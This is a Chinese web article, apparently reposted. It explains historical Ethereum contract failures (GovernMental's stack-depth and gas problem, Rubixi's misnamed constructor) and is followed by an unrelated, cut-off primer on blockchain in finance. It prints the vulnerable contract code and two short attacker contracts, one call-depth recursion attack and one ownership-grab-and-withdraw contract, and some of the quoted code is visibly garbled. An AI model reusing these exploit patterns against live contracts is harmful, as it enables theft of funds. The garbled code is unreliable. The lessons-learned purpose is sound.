合约的写入,需要保证用户和他们的资金被记录在2个数组,ddress[] public credAddr 和int[] public credAmt。这两个数组会在游戏最后重置。GovernMental已经非常成功了,因为数组变得非常大,需要清除他们的燃料费已经超过每个转账能够做到的极限。最终的结局是奖池的永久性冻结,总共有大约1100个以太坊。最后,在2个月后,资金最后还是解冻了,并且发给了调用者。
GovernMental虽然不是被恶意的用户攻击,但是它也是很好的例子,这类灾难会由调用栈攻击产生。这也表面,在进行大型数据库工作的时候,需要格外的小心。
代码
下面是GovernMental智能合约的完整代码,其中还包含简短的变量。我已经在它的整体中包含了真正的合约,因为通过一行行地检查合约可以学到很多,包含这个合约是如何构建的。有人可以看到function lendGovernmentMoney(),代表了发出资金者的地址,并且需要以太币的数量被重置或者添加到现有数据。需要注意,在同个函数中,资金是如何在合约拥有者以及12个小时结束时的最后发出资金者之间分配的, credAddr[credAddr.length 1].send(profitFromCrash); 以及corruptElite.send(this.balance)。
contract Government {
// Global Variables
uint32 public lastPaid;
uint public lastTimeOfNewCredit;
uint public profitFromCrash;
address[] public credAddr;
uint[] public credit;
address public corruptElite;
mapping (address => uint) buddies;
uint constant TWELVE_HOURS = 43200;
uint8 public round;
// constructor
constructor() {
profitFromCrash = msg.value;
corruptElite = msg.sender;
lastTimeOfNewCredit = block.timestamp;
}
function lendGovernmentMoney(address buddy) returns (bool) {
uint amount = msg.value;
// check if the system already broke down.
// If 12h no new creditor gives new credit to
// the system it will brake down.
// 12h are on average = 60*60*12/12.5 = 3456
if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp)
// Return money to sender
msg.sender.send(amount);
// Sends all contract money to the last creditor
credAddr[credAddr.length - 1].send(profitFromCrash);
corruptElite.send(this.balance);
// Reset contract state
lastPaid = 0;
lastTimeOfNewCredit = block.timestamp;
profitFromCrash = 0;
// this is where the arrays are cleared
credAddr = new address[](0);
credAmt = new uint[](0);
round += 1;
return false;
}
else {
// the system needs to collect at
// least 1% of the profit from a crash to stay alive
if (amount >= 10 ** 18) {
// the System has received fresh money,
// it will survive at leat 12h more
lastTimeOfNewCredit = block.timestamp;
// register the new creditor and his
// amount with 10% interest rate
credAddr.push(msg.sender);
credAmt.push(amount * 110 / 100);
// now the money is distributed
// first the corrupt elite grabs 5% — thieves!
corruptElite.send(amount * 5/100);
// 5% are going into the economy (they will increase
// the value for the person seeing the crash coming)
if (profitFromCrash < 10000 * 10**18)
profitFromCrash += amount * 5/100;
}
// if you have a buddy in the government (and he is
// in the creditor list) he can get 5% of your
// credits. Make a deal with him.
if(buddies[buddy] >= amount) {
buddy.send(amount * 5/100);
}
buddies[msg.sender] += amount * 110 / 100;
// 90% of money used to pay out old creditors
if (credAmt[lastPaid] <= address(this).balance — profitFromCrash){
credAddr[lastPaid].send(credAmt[lastPaid]);
buddies[credAddr[lastPaid]] -= credAmt[lastPaid];
lastPaid += 1;
}
return true;
}
else {
msg.sender.send(amount);
return false;
}
}
}
// fallback function
function() {
lendGovernmentMoney(0);
}
function totalDebt() returns (uint debt) {
for(uint i=lastPaid; i
debt += credAmt[i];
}
}
function totalPayedOut() returns (uint payout) {
for(uint i=0; i
payout += credAmt[i];
}
}
// donate funds to "the government"
function investInTheSystem() {
profitFromCrash += msg.value;
}
// From time to time the corrupt elite
// inherits it’s power to the next generation
function inheritToNextGeneration(address nextGeneration) {
if (msg.sender == corruptElite) {
corruptElite = nextGeneration;
}
}
function getCreditorAddresses() returns (address[]) {
return credAddr;
}
function getCreditorAmounts() returns (uint[]) {
return credAmt;
}
}
我们假设攻击者写了如下的合约,进行恶意攻击contract Government {}。
contract attackGov {
function attackGov (address target, uint count) {
if (0<= count && count<1023) {
this.attackGov.gas(gasleft() - 2000)(target, count+1);
}
else {
attackGov(target).lendGovernmentMoney;
}
}
攻击者调用了contract attackGov{} 函数,来进行调用直到栈的大小为1023.当栈达到1022.lendGovernmentMoney()函数就会在第1023个栈上执行。因为第1024个调用已经失败了,并且 send() 函数不会检查返回的代码,合约的credAddr[credAddr.length — 1].send(profitFromCrash)代码也会失效。合约之后就会重置,而且下一轮已经可以开始。因为支付失败了,合约现在就会从最后一轮中获得奖池,在下轮结束后,合约拥有者就会获得全部的资金,corruptElite.send(this.balance)。
解决方案
那么我们怎么才能避免全栈攻击呢?很幸运地是,EIP150标准进行了更新,使得栈调用的深度达到1024是几乎不可能的事情。规则中写到,子调用不能花费主调用的63/64燃料费用。为了达到接近栈调用的极限,攻击者需要花费难以想象地费用,所以很少有人会这么做。
另个方面,对于大量数据的处理方法包含:
• 写合约的时候,要在多个转账中分散数据清理工作,而不是集中在某个,或者
• 通过让用户能够独立处理数据集的方式来写入合约。
攻击#3- 不可更改的管理器缺陷
什么使得智能合约这么特别?他们是不可更改的。什么造就了智能合约的噩梦?他们是不可更改的。现在,很遗憾的结论是,当在写智能合约时,很多时候会出现错误。在激活合约之前,对整体的函数,参数和合约结构进行审核,是非常必要的。
如果在以太坊历史上,有智能合约是因为整体架构出问题,而最终失败的,毫无疑问就是Rubixi。Rubixi是另一个旁氏游戏,其中玩家需要发送以太币到合约中,并且可以获得更多的以太币。但是,在Rubixi开发的过程中,拥有者随意更改了合约名称,但是并没有检车任何的不一致性。毋庸置疑,Rubixi远不能称为“成功”。
攻击示例
由于Solidity v0.4.24算法,合约的管理器功能是construct()。但是,在Rubixi合约创建的时候,管理器功能被以太坊虚拟机和合约共享了同个名字。Rubixi的问题在于当合约中部署了管理器的名称为function DynamicPyramid() ,而不是function Rubixi(),,这就意味着Rubixi最初的名字叫“DynamicPyramid”。由于这个不一致性,合约在创建的时候,并没有指定拥有者,所以城堡的钥匙被抢走了。任何人都能够定义他们自己为合约的拥有者,然后获得参与者加入的合约费用。
代码示例
如果我们把合约代码的前几行拿出来,你就会发现合约名称和指定管理器函数的区别。
contract Rubixi {
//Declare variables for storage critical to contract
uint private balance = 0;
uint private collectedFees = 0;
uint private feePercent = 10;
uint private pyramidMultiplier = 300;
uint private payoutOrder = 0;
address private creator;
//Sets creator
function DynamicPyramid() {
creator = msg.sender;
}
现在你应该明白了,攻击者需要做的,就是创建合约的名字为function DynamicPyramid(), 然后获得拥有权。然后,攻击者可以调用function collectAllFees(),然后提现。虽然这个攻击已经非常直接了,Rubixi是个很好的例子,告诉我们一定要彻底地检查合约。
contract extractRubixi {
address owner;
Rubixi r = Rubixi(0xe82...);
constructor() public {
owner=msg.sender;
}
function setAndGrab() public {
r.DynamicPyramid();
r.collectAllFees();
}
}
解决方案
很幸运地是,Solidity语言已经更新了,以至于管理器功能被定义为constructor() ,而不是contractName()。我们可以从中学到的是,多次检查我们的合约代码,并且保证你在整个开发过程中,保持一致性。没有什么比部署一个无法改变的合约,但是发现其中有问题,更糟糕了。
以上就是火爆的区块链游戏确是庞氏骗局,区块链游戏存在哪些潜在危机?的详细介绍,庞氏区块链游戏或许已经是过去的事情,但是George Santayana曾经说过,“那些不能从历史中学到教训的人,还会重复错误。”通过从KotET, GovernMental和Rubixi这类错误中学习,我们可以防止自己在错误的道路上越走越远。
区块链在金融行业有哪些应用?刚踏入数字货币行业的时候,那时候满眼都是各种各样的专有名词,让人眼花缭乱,要说最为常见的,那肯定就是区块链了,那时候压根不知道这是什么东西,就觉得这是一个特别高大上的东西,随着逐渐的深入了解,我也逐渐了解到,区块链是一个特别贴近我们生活的东西。只要熟练运用了区块链,不但是在数字货币的行业,包括日常生活中都能够给我们带来很大的帮助。所以,在开设区块链的专题的时候,小编是非常激动的,让小编想起来刚刚接触这个行业的那段日子,也是真正的希望我的分享能给大家带来一些帮助。
01、区块链概述
(一)主要原理
区块链并不是某种特定的技术,而是综合了互联网技术、分布式点对点技术、公钥加密算法等基础技术并为实现低成本价值转移而设计的系统性解决方案。具体而言,是指通过去中心化和去信任(Trustless)的方式集体维护一个可靠数据库的技术方案的统称。该技术方案下,系统中任意多个节点通过密码学算法记录了一段时间内所在网络中发生过的所有信息交流数据,并生成区块,区块按照时间顺序连接形成区块链,由所有系统参与节点共同认定记录是否为真。
因此,区块链实质上就是一种全民参与信息记账的技术方案。可以通俗地将这种方案理解为,所有的系统背后都有一个数据库,可以把数据库看成一个大账本。传统模式是使用一台(或数台)中心化的服务器来记账,但现在区块链系统中,系统中的每个参与者都可参与记账。每隔一段时间更新一次数据(在比特币应用中每10分钟更新一次),系统会评判该段时间内记账最快最好的人,并把他记录的内容更新至系统内所有的其他人进行备份。这种每个节点均可平等参与,每个节点都有数据更新和发布权利的“去中心化”方式是区块链技术最有代表性的特点。
(二)技术简介
1、区块链结构
从结构上看,区块链是由多个不同时间段内所有交易所组成的区块按照时间顺序构成的链。每一个区块至少应包含以下
2、 工作模式
a. 交易发起方创建交易,并向全网广播;
b. 经广播的交易通过全网每个节点运用特定算法进行确认,运算最快最好的节点会将一段时间内所有被确认的交易记录归集形成数据区块;
c. 新生成的区块将在全网广播,并接受其他节点对其有效性进行检验;
d. 在连续得到特定数量的确认(例:比特币需6个确认)后,交易将被不可逆转地确认,所有节点接收该数据块,并附在已有链条之后;
e. 交易达成。
(三)技术特点
就现有发展程度而言,区块链的技术特点被主要归纳为:去中心化(Decentralization)、去信任、集体维护(Collectivelymaintenance)、可靠数据库(ReliableDatabase)。
1、去中心化(Decentralization):去中心化是区块链技术最核心的主张。在去中心模式下,整个网络没有中心化的硬件或者管理机构,任意节点之间的权利和义务都是均等的。也就是说,整个网络是基于分布式方式运行、管理的,任一节点的损坏或者失去都会不影响整个系统的运作。
举例来说,目前人民银行清结算体系就是较为典型的“中心化”模式,在整个清结算体系中人民银行作为中心节点,单独管理和维护所有参与节点(一般为商业银行)账务往来的“账本”,一旦人民银行账务系统出现任何风险,将对全社会的账务处理造成较大的影响。而P2P(点到点)网络传输即为较为典型的“去中心化”模式,系统中每个节点之间均为平等关系,任一节点在下载任何网络资源过程中,以分布式的方式从各个网络节点获取部分资源,并不对单一节点形成依赖,也即单一节点的损坏并不会对其他节点完成资源下载形成实质性影响。
2、去信任:参与整个系统中的每个节点之间进行数据交换是无需互相信任的,整个系统的运作规则是公开透明的,所有的数据内容也是公开的,因此在系统指定的规则范围和时间范围内,节点之间是不能也无法欺骗其它节点。也就是说,整个系统的信任基础并不依赖于某个节点,而是完全依赖于系统算法和既定规则,而该算法在现有技术下难以被攻破。当前社会几乎所有行业、系统的运行均以各类信用中介为基础(如国家信用、商业信用等),相对而言传统的“小范围现场举手投票”制度与区块链所倡导的“去信任”较为贴近,由于投票范围较小,每个投票参与人都可以自行对投票过程及结果进行监督和确认,无需
本文采摘于网络,不代表本站立场,转载联系作者并注明出处:http://www.longfuchaju.com//zmt/4480.html